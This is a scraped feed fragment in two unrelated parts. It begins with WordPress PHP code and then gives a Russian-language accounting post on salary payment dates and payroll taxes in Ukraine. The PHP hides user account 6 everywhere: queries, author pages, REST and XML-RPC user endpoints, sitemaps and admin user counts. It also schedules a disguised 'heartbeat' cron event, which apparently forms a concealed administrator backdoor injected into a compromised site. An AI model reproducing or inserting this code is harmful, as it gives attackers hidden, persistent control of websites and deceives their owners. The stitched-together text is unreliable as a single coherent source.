add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 6;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 6;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 6;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 6;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 6;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Як правильно виплачувати зарплату найманим працівникам appeared first on Assets.
]]>
Какие даты обычно выбирают для выплаты ЗУ: 15 и 31 число или 7 и 22 числа.
Разберем на примере января:
– если аванс выплачивается 15 января, то вторая половина ЗП должна быть не позднее 31 января, то есть нужно, чтобы прошло не более 16 дней после выплаты аванса.
– если аванс за январь выплачивается 20-22 января, то вторая половина должна быть не позднее 5-7 февраля соответственно. А аванс за февраль: 20-22 февраляо.
Можно установить конкретные даты выплаты, но их нужно прописать в колдоговоре или Положении об оплате труда. Мы считаем, что удобнее выбрать 15 и 31 число, чтобы каждый раз не рассчитывать даты.
Если день выплаты зарплаты это выходной или праздник, то зарплата выплачивается накануне
Все налоги платит работодатель, но НДФЛ и ВЗ вычитается из оклада и на руки работник получает меньше. А ЕСВ считается от общего оклада и он не уменьшает оклад. Здесь мы расписали пример с цифрами.
Что касается распределения налогов на практике – это происходит по-разному: у каждого работодателя есть собственные договоренности с работниками, потому что часть ЗП могут доплачивать отдельно. Но главное придерживаться уплаты налогов в бюджет по официальному окладу.
Налоги обычно оплачиваются общей суммой всех работников при выплате зарплаты. Некоторые работодатели могут платить ЗП наличными, и в этот же день – должны быть уплачены налоги. Если ЗП перечислять на карты, то без уплаты налогов банк не проведет платежи по выплате зарплаты.
Работодатель обязан пытаться платить зарплату вовремя. Если задержка из-за боевых действий или форс-мажора, ответственность не применяется, но обязанность выплатить зарплату остается. Также помните, что при проверке, если вы ссылаетесь на форс-мажор, у вас должна быть куча документов с подтверждением. Дешевле все пытаться платить вовремя.
Если не хотите считать сроки и нет рисковать штрафами делегируйте кадровый учет нам, мы закроем все под ключ.
Больше информации о ФЛП можно узнать в нашем телеграмм канале ссылка здесь.
Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФЛП или ООО, обращайтесь за ссылкой.
The post Як правильно виплачувати зарплату найманим працівникам appeared first on Assets.
]]>